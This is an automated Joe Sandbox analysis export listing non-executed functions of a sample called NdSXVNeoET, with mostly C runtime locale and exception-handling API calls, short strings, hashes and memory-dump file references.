COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,008BA1F9,008BA1ED,00000000), ref: 008B9FDC

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: aade9b49829df0b23c2f513bcc132060a56d5953feceee24b5e2d9bc9b47e8cf
Instruction ID: fb8dc1f1f87c0a0290c659e561cce85a514308d624d37c3e192c22829462922a
Opcode Fuzzy Hash: aade9b49829df0b23c2f513bcc132060a56d5953feceee24b5e2d9bc9b47e8cf
Instruction Fuzzy Hash: 5D51687190425CDADB219E28CC80BEA7BBCFB59304F2405EDE59AC7242D275AD46DF21

Non-executed Functions

Function 008F0F98 Relevance: 11.3, Strings: 5, Instructions: 5010COMMON

Download Yara Rule

Strings

66.\, xrefs: 008F1719
X/:, xrefs: 008F17A0
m27/, xrefs: 008F1741
KG&!, xrefs: 008F1583
B^U!, xrefs: 008F120D

Memory Dump Source

Source File: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID: 66.\$B^U!$KG&!$X/:$m27/
API String ID: 0-1441538931
Opcode ID: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction ID: 4daf259bd51a1c6670d9e8a140da4072107d362ca500f5b0d32147607f06472e
Opcode Fuzzy Hash: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction Fuzzy Hash: 2163417241E7D85ECB27DB3047B61A17F66FA232103184ACECAC1CF4B3C6949A16E356

Function 008BD39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 008BD57F

Strings

1#IND, xrefs: 008BD4A0
1#QNAN, xrefs: 008BD4AE
1#INF, xrefs: 008BD4D1
1#SNAN, xrefs: 008BD4A7

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 928c89279cfcd73e6292cf445d1142f5b1fe184354ae56a1d02d76ca61d5299e
Instruction ID: 238ce053316ebe40a0eb5608693802e273d26ace715d5e88ddce6856121a6041
Opcode Fuzzy Hash: 928c89279cfcd73e6292cf445d1142f5b1fe184354ae56a1d02d76ca61d5299e
Instruction Fuzzy Hash: CDD20571E086299FDB658E28CD40BEAB7B5FB45305F1441EAD80DE7341EB78AE818F41

Function 008BC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,008BCB32,00000002,00000000,?,?,?,008BCB32,?,00000000), ref: 008BC8AD
GetLocaleInfoW.KERNEL32(?,20001004,008BCB32,00000002,00000000,?,?,?,008BCB32,?,00000000), ref: 008BC8D6
GetACP.KERNEL32(?,?,008BCB32,?,00000000), ref: 008BC8EB

Strings

OCP, xrefs: 008BC868
ACP, xrefs: 008BC832

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 195886e6c89aaa1c7ac7aeaedfb3ba65a29928e04fb6e768c555577da19ea47f
Instruction ID: 7c4bca36b3d11ada8f8e54dbe427993c4fbc6c99089d9c5e1979887a3e8db42f
Opcode Fuzzy Hash: 195886e6c89aaa1c7ac7aeaedfb3ba65a29928e04fb6e768c555577da19ea47f
Instruction Fuzzy Hash: CB21B032A00205EADB359F55C901AE773A6FF94F54B568438E90AE7300EB32DE41D790

Function 008BC9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 008BCAF5
IsValidCodePage.KERNEL32(00000000), ref: 008BCB3E
IsValidLocale.KERNEL32(?,00000001), ref: 008BCB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 008BCB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 008BCBB4

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 5def8fbbba1dcb8f8a22c463f9454ce881ae79b86fe7f7e214abaf97927cec50
Instruction ID: c2fd39645c66860ed7e3e02b3ca98565cd1723ffa5b4b96605d8297a87d64c15
Opcode Fuzzy Hash: 5def8fbbba1dcb8f8a22c463f9454ce881ae79b86fe7f7e214abaf97927cec50
Instruction Fuzzy Hash: 90514DB2A00219ABDB10DFA9DC42EFEB7B8FF08710F144469E911E7391E7709A45CB61

Function 008BC085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

GetACP.KERNEL32(?,?,?,?,?,?,008B1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 008BC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,008B1848,?,?,?,00000055,?,-00000050,?,?), ref: 008BC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 008BC2D4

Strings

utf8, xrefs: 008BC243

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 99d2abf3c8435face056f86754eacb4a2b5dd72aee8aeac0f737abbb3138c79e
Instruction ID: a067258763c8e8611080fdfd1b84563d864d1b72fc48d083a699e8ccaa747ca7
Opcode Fuzzy Hash: 99d2abf3c8435face056f86754eacb4a2b5dd72aee8aeac0f737abbb3138c79e
Instruction Fuzzy Hash: C671D431A00606AADB24BB79CC86BEB73A8FF45750F14442AF505E7382FB74E94187A1

Function 008B3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008B3D1F

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 1fe97df0b8f8ad43f086759dc276ac7d3481e051fca218776c6c1a57997c0c44
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 2EB10372E04246AFDB158E68C881BFEBBB5FF55310F19416AE805EB342D634DE05CBA1

Function 008A7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 008A792E
IsDebuggerPresent.KERNEL32 ref: 008A79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008A7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 008A7A1D

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ecabd8a84c449e4dea5c090e70ce6aace5d68b81bae05e7c0b4e39a6c3393a4a
Instruction ID: 4dfd83ef11397e87ab04f7c03336d1bf46a3e4e5e4eea6ed4dd45a3ff7865c94
Opcode Fuzzy Hash: ecabd8a84c449e4dea5c090e70ce6aace5d68b81bae05e7c0b4e39a6c3393a4a
Instruction Fuzzy Hash: D731E7B5D052189BDB60DFA4DD49BCDBBB8BF08300F1041AAE40CAB250EB709B859F55

Function 008BC498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008BC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008BC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008BC5FC

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 9d6ee1ffb1ab1025399b65e2201e2cff8055997023538f80d473aad91c83b4b7
Instruction ID: 29e2418c734b6a60c1e4cf18a7ba805d333ce0fcf5e0f21aed4a6c7a380f5c3e
Opcode Fuzzy Hash: 9d6ee1ffb1ab1025399b65e2201e2cff8055997023538f80d473aad91c83b4b7
Instruction Fuzzy Hash: 6A618D7290060B9BEB289F29CC82FFA77A8FF15314F10417AE915C6785EB34E985CB51

Function 008ADA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 008ADB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 008ADB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 008ADB82

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 88164e8f4d5ab64f608c145e844ca2b155d09fcf9703654bb4bb230efa3b329c
Instruction ID: 4a597b491f22ff054f37b2b37ee3809a6a3872be1528f77ca33eeb216a317b48
Opcode Fuzzy Hash: 88164e8f4d5ab64f608c145e844ca2b155d09fcf9703654bb4bb230efa3b329c
Instruction Fuzzy Hash: 0F31B4759016289BDB61DF68DC89B8CB7B8FF08310F5041DAE41CA6250E7749B868F55

Function 008AFEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 47c1061d14449e815114cb162dcd3391b6432026c3911f4e8780f4bbb2756c01
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 21F10C71E002199FDF14CFA8D884AEEB7B1FF89314F158269E919EB391D730A9458F90

Function 008B572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,008B5727,?,?,00000008,?,?,008C15F5,00000000), ref: 008B5959

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7d9ae81df83f6744e2fe84f6f2a7cb158c6899e5ef319e4a44b9b8ebee704acf
Instruction ID: 19d825f7628b679362354a7a195f0a8bb5542afb06c7032f67d3cfe9dccf67be
Opcode Fuzzy Hash: 7d9ae81df83f6744e2fe84f6f2a7cb158c6899e5ef319e4a44b9b8ebee704acf
Instruction Fuzzy Hash: F6B13C31610A09DFD719CF28C486BA57BE1FF45364F298658E899CF3A1C335E992CB40

Function 008A729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008A72B2

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 88fed521efd4f8cc83ad1de1f2dd391d9ed870e63072d9f3a9d3d4786b401afd
Instruction ID: b9ede517a61f5e9ac0557c608585dae427c7018b6e27c768b25ad34fd9da241f
Opcode Fuzzy Hash: 88fed521efd4f8cc83ad1de1f2dd391d9ed870e63072d9f3a9d3d4786b401afd
Instruction Fuzzy Hash: 99A15CB2E15B058FEB18CF68DC82AA9BBF1FB49314F14812AD519EB7A0D3349941DF50

Function 008B9ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41001e68c8f8e41a2eabb877a62c27b723329775259e4dc8455a98559a2137b
Instruction ID: 15395ad7a67d01be4442fa56119122dc999c6ee96a8f7ac8c7968bce07e45280
Opcode Fuzzy Hash: e41001e68c8f8e41a2eabb877a62c27b723329775259e4dc8455a98559a2137b
Instruction Fuzzy Hash: 5431C672900629AFCB20EFADDC85EEBB77DFB84314F144558F955D7245EA30AE408B50

Function 008ACAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 008ACC80

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 246ee10f01c750ca267918e69880c9a1259a5daf7f4137a5282119b8de8cb5ed
Instruction ID: 701816c5d60bcb16bf21a2499dfe66e7868483314ed2e37fa7c5719f82ddf1f2
Opcode Fuzzy Hash: 246ee10f01c750ca267918e69880c9a1259a5daf7f4137a5282119b8de8cb5ed
Instruction Fuzzy Hash: 4AC1AF74500A4A8FEB28CF28C58167ABBB1FF47324F144619D456DBE91C732AD46CBA1

Function 008BC6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008BC73F

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d4000de94ec1be247fd1c7f8b57259dac8d6a873b16af460d559b0db04af5c48
Instruction ID: 0fca8a9ac0ab1379711626a8c933b16368d20839ae12d4a4c54a6648b4b76bb4
Opcode Fuzzy Hash: d4000de94ec1be247fd1c7f8b57259dac8d6a873b16af460d559b0db04af5c48
Instruction Fuzzy Hash: E4218032601606ABEB28AB2DDC82EFA77A8FF45314B10007AF905D6341FB34ED458E95

Function 008BC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

EnumSystemLocalesW.KERNEL32(008BC498,00000001,00000000,?,-00000050,?,008BCAC9,00000000,?,?,?,00000055,?), ref: 008BC3E4

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 33a98634763108e19006d0a8b06b021558133d58cf66987c98c7e49a2380ccbd
Instruction ID: 80764ed76bb5b358c36c0dfaca17e7bd8ec3f60ede51a7f4b3dc3a16557e9915
Opcode Fuzzy Hash: 33a98634763108e19006d0a8b06b021558133d58cf66987c98c7e49a2380ccbd
Instruction Fuzzy Hash: A91125372007015FDB189F39D8A16BABBA1FF84368B58842CE98787B40D371A942C750

Function 008BC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
